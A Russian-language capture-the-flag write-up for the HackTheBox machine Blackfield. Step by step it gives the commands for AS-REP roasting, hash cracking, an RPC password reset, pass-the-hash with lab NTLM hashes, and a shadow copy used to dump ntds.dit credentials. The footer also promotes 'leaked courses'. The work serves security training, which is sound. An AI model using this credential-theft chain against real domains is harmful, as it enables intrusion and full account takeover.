Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.
10.10.10.192 blackfield.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.
smbmap -u anonymous -H 10.10.10.192
И нам доступна для чтения директория profiles$.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2
Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:
- хеш пароля пользователя;
- у данного пользователя не выставлено UAF Dont Require PreAuth;
- такого пользователя нет в базе Kerberos.
Таким образом, мы сможет узнать, кто есть, а кого нет.
Entry Point
Для начала получим список.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt
А теперь выполним ASRep-Roasting.
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt
И я был удивлен, когда нам вернули хеш. Давайте крякнем его.
john support.hash -w=./tools/rockyou.txt
И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.
enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null
Получим огроменный список непонятных пользователей, но самое интересное — это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.
C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:
rpcclient 10.10.10.192 -U support
Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано тут. И у меня получилось это сделать для пользователя audit2020.
setuserinfo2 audit2020 18 'ralf'
Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.
USER
Идем на SMB.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192
Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R
И в папке forensic\memory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.
smbclient.py blackfield.local/audit2020:ralf@10.10.10.192
Теперь перейдем в Windows машину и используем mimikatz.
И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
ROOT
Давайте посмотрим группы и привилегии пользователя.
Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится следующие DLL библиотеки.
Давайте сделаем теневую копию. Создадим файл со следующим содержимым.
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:
И теперь загрузим его и скачанные библиотеки на хост.
Выполним теневое копирование.
diskshadow /s ds.txt
И сдампим файл.
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.
reg save HKLM\SYSTEM C:\Temp\SYSTEM
Скачиваем оба файла с машины.
И достаем хеши с помощью secretsdump из пакета impacket.
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Подключимся от имени администратора.
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
У нас полный контроль над данной машиной.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
sergey-b
Правильно ли я понял, что для успешной аутентификации знания пароля пользователя не требуется, а достаточно только иметь его хэш?
RalfHacker Автор
Более подробно: Pass-the-hash
sergey-b
Спасибо. Не знаете, Kerberos тоже так ломается, или в нем это устранили?